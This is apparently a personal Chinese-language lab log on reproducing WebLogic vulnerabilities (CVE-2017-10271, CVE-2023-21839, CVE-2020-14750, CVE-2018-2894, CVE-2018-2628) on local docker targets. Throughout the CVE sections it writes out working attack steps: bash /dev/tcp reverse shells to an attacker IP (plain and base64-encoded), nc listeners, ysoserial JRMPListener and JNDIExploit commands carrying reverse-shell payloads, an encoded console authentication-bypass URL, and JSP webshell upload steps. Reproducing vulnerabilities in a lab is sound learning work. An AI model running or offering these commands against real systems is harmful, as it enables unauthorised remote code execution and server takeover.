weblogic
Weblogic
简要介绍
https://blog.csdn.net/rumil/article/details/133036788
https://www.freebuf.com/articles/web/372568.html
Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机。T3协议在开放WebLogic控制台端口的应用上默认开启。攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击(开放Weblogic控制台的7001端口,默认会开启T3协议服务,T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞,攻击者可以发送构造的恶意T3协议数据,获取目标服务器权限。)
T3协议缺陷实现了Java虚拟机的远程方法调用(RMI),能够在本地虚拟机上调用远端代码。
T3协议:
用于在Weblogic服务器和其他类型的Java程序之间传输信息的协议。Weblogic会跟踪连接到应用程序的每个Java虚拟机,要将流量传输到Java虚拟机,Weblogic会创建一个T3连接。该链接会通过消除在网络之间的多个协议来最大化效率,从而使用较少的操作系统资源。用于T3连接的协议还可以最大限度减少数据包大小,提高传输速度。
RMI方法:
远程方法调用,除了该对象本身的虚拟机,其它的虚拟机也可以调用该对象的方法。(对象的虚拟化和反序列化广泛应用到RMI和网络传输中)
JRMP:
Java远程消息交换协议JRMP。
JRMP是一个Java远程方法协议,该协议基于TCP/IP之上,RMI协议之下。也就是说RMI该协议传递时底层使用的是JRMP协议,而JRMP底层则是基于TCP传递。
RMI默认使用的JRMP进行传递数据,并且JRMP协议只能作用于RMI协议。当然RMI支持的协议除了JRMP还有IIOP协议,而在Weblogic里面的T3协议其实也是基于RMI去进行实现的。
CVE-2017-10271
简要介绍:https://www.cnblogs.com/chen-w/p/14652153.html
漏洞成因
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
环境搭建
首先使用docker起一个weblogic CVE-2017-1027的环境,进入到vulhub/weblogic/CVE-2017-1027
docker-compose up -d |
启动成功后
docker ps -a |
查看运行状态
接着去访问本机的7001端口,出现如下页面,说明服务成功开启:
访问/wls-wsat/CoordinatorPortType
可以先扫一下服务
nmap -sV 192.168.174.137 |
用相关漏洞的扫描工具也可以
漏洞poc
bash -i >& /dev/tcp/vpsip/ncport 0>&1 |
能弹啊,docker为什么弹不了,还要配置网卡吗
发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误):
POST /wls-wsat/CoordinatorPortType HTTP/1.1 |
CVE-2023-21839
漏洞描述
Weblogic 允许远程用户在未经授权的情况下通过IIOP/T3进行JNDI lookup 操作,当JDK版本过低或本地存在javaSerializedData时,这可能会导致RCE漏洞。
WebLogic 存在远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389),由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。
影响版本
WebLogic_Server = 12.2.1.3.0
WebLogic_Server = 12.2.1.4.0
WebLogic_Server = 14.1.1.0.0
CVE-2023-21839是一个weblogic的JNDI注入漏洞。
由于Weblogic t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup查看,当远程对象继承自OpaqueReference时,lookup查看远程对象,服务端会调用远程对象getReferent方法。weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。
环境搭建(最难的是找对应版本的jndi工具,还是自己理解合适,自己根据原理搭一个,但java不熟悉QAQ)
访问靶场地址:
Nmap扫描:
nmap -sV 192.168.174.137 |
扫描验证T3是否开启:
nmap -n -v -p 7001,7002 192.168.174.137 --script=weblogic-t3-info |
开启LDAP和HTTP服务
ava -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.174.137 //攻击者ip |
监听端口(用于接收反弹的shell)
nc -lvvp 9999 |
使用工具包
j教程使用的:GitHub - ASkyeye/CVE-2023-21839: Weblogic CVE-2023-21839 RCE (无需Java依赖一键RCE)
这个下载下来要在linux环境下编译,windows下编译了好像不行用,不懂是什么问题
./CVE-2023-21839 -ip 192.168.174.137 -port 7001 -ldap ldap://192.168.174.137:1389/Basic/ReverseShell/192.168.174.137/9999 |
因为担心docker在虚拟机nat不通就没在外面测试了
最后也是成功反弹shell了,这个java的漏洞的环境太难搭了
成功复现,记得关闭docker启动的镜像
关闭镜像
docker-compose stop |
因为docker-compose up -d也是拉镜像启动,所以本地会有镜像保留,有些还挺大的,不需要的话可以删了
docker images |
CVE-2020-14750
https://cloud.tencent.com/developer/article/2168616
0x01 漏洞描述
- WebLogic Console权限认证绕过漏洞(CVE-2020-14750) -
Weblogic Server是Oracle公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。Oracle官方在2020年10月发布了关键补丁更新公告,其中包括一个CVE-2020-14750为 WebLogic Console权限认证绕过的漏洞CVE-2020-14882补丁的绕过漏洞,CVSS 评分 9.8 分。CVE-2020-14882 补丁被绕过后,攻击者就可以再度绕过Console控制台的权限校验,访问原本需要登录才可以访问的资源和接口功能。尽管 CVE-2020-14883 这个后台的任意代码执行漏洞已被修复,但攻击者依然可以通过寻找利用其他合适的后台接口漏洞,实现远程代码执行,从而获取服务器权限。
影响版本:
- Oracle WebLogic Server 10.3.6.0.0
- Oracle WebLogic Server 12.1.3.0.0
- Oracle WebLogic Server 12.2.1.3.0
- Oracle WebLogic Server 12.2.1.4.0
- Oracle WebLogic Server 14.1.1.0.0
0x03 漏洞验证
使用WeblogicScaner工具检测目标网站存在CVE-2020-14750漏洞。
python3 ws.py -t http://172.16.14.149:7001 -v CVE-2020-14750 |
构造特殊URL地址绕过WebLogic Console控制台权限进行访问:
http://172.16.14.149:7001/console/css/%25%32%65%25%32%65%25%32%66/console.portal |
CVE-2018-2894
https://blog.csdn.net/weixin_51198941/article/details/134193310
漏洞简介
WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do
这里进后台的部分借用前面的漏洞
访问漏洞页面(需要手动设置一下环境设置Work Home Dir为,/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css)
http://172.16.14.149:7001/ws_utc/config.do |
点击安全 -> 添加,名字和密码可以随意设置,上传jsp木马文件(登录密码为fafa);
<%! |
文件上传的路径为http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],这里的时间戳获取方式有两种,其一为bp抓包查看,
其二利用浏览器自带的检查获取,如下所示:
http://172.16.14.149:7001/ws_utc/css/config/keystore/1721275902739_ma.jsp |
这里的环境有点问题,待测,重新用docker起了环境,重复上述步骤
这里先去靶场看看后台账户密码,默认管理员用户是weblogic,此处密码为h3L0YiTp
输入账户密码,登录后台
成功登录进去,点击base_domain可看到设置页面,然后点击高级,勾选启用Web服务测试页;
点击保存
访问漏洞页面http://192.168.174.137:7001/ws_utc/config.do(需要手动设置一下环境设置Work Home Dir为,/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css)
点击安全 -> 添加,名字和密码可以随意设置,上传jsp木马文件(登录密码为rebeyond);
文件上传的路径为http://192.168.174.137:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
尝试访问文件地址,发现文件存在且可以正常访问
冰蝎连接
成功获得shell
CVE-2018-2628
WebLogic T3协议反序列化命令执行漏洞(CVE-2018-2628)。Oracle WebLogic Server的T3通讯协议的实现中存在反序列化漏洞。远程攻击者通过T3协议在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java远程方法协议)达到执行任意反序列化代码,进而造成远程代码执行
同为WebLogic T3引起的反序列化漏洞还有CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2893、CVE-2016-0638
漏洞原理
在InboundMsgAbbrev中resolveProxyClass中,resolveProxyClass是处理rmi接口类型的,只判断了java.rmi.registry.Registry,这就会导致任意一个rmi接口都可绕过。核心部分就是JRMP(Java Remote Method protocol),在这个PoC中会序列化一个RemoteObjectInvocationHandler,它会利用UnicastRef建立到远端的tcp连接获取RMI registry,加载回来再利用readObject解析,从而造成反序列化远程代码执行。
漏洞复现
docker-compose起环境,访问
这里先使用nmap扫描一下是否开启了WebLogic T3服务
nmap -n -v -p 7001,7002 192.168.174.137 --script=weblogic-t3-info |
漏洞检测脚本,好多扫不出来,试试以前的旧版本
要专门这个探测工具才行。。但教程很多都是用旧版的ysoserial-0.1-cve-2018-2628-all,我试试新版的工具怎么用
https://blog.csdn.net/st3pby/article/details/135111050
启动JRMP Server(下面这个是练习):
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 192.168.174.160 1099 CommonsCollections1 whoami |
反弹shell命令:
bash -i >& /dev/tcp/192.168.174.160:9999 0>&1 |
base64编码https://ares-x.com/tools/runtime-exec
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xNjA6OTk5OSAwPiYx}|{base64,-d}|{bash,-i} |
开启JMRP Server服务:
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections3 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xNjA6OTk5OSAwPiYx}|{base64,-d}|{bash,-i}" |
本地监听9999端口:
nc -lvvp 9999 |
这个payload还有点难生成xxd装不上记得更新下源
sudo apt-get update |
java -jar ysoserial-all.jar JRMPClient 192.168.174.160:7777 | xxd -p | tr -d $'\n' && echo #JRMP监听的端口 |
和之前的比,payload没有2了是JRMPClient
替换payload
半天没弹回来,保留一下,用别的方法测测
在攻击机设置好JRM服务,这里执行touch命令时,注意路径
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections3 "touch /mytest.txt" |
打开weblogictool,如图设置好参数
执行后,在docker容器里查看,yml文件在哪就在哪执行
docker-compose exec weblogic /bin/bash |
成功执行,那回到第一种方法,利用payload,重新走一遍
开启JMRP Server服务:
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections3 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xNjA6OTk5OSAwPiYx}|{base64,-d}|{bash,-i}" |
更新payload,windows下没有环境,在linux中执行,前面好像执行错了,这里客户端的ip是靶机的ip
sudo java -jar ysoserial-all.jar JRMPClient 192.168.174.137:7777 | xxd -p | tr -d $'\n' && echo |
更换payload
使用 nc 进行监听本地的9999端口
nc -lvvp 9999 |
执行poc还是不行,但后面在在kali测试好像就行了,python脚本执行完要过一会才有反弹回来。。
前面也弹回来了,是我没注意。。。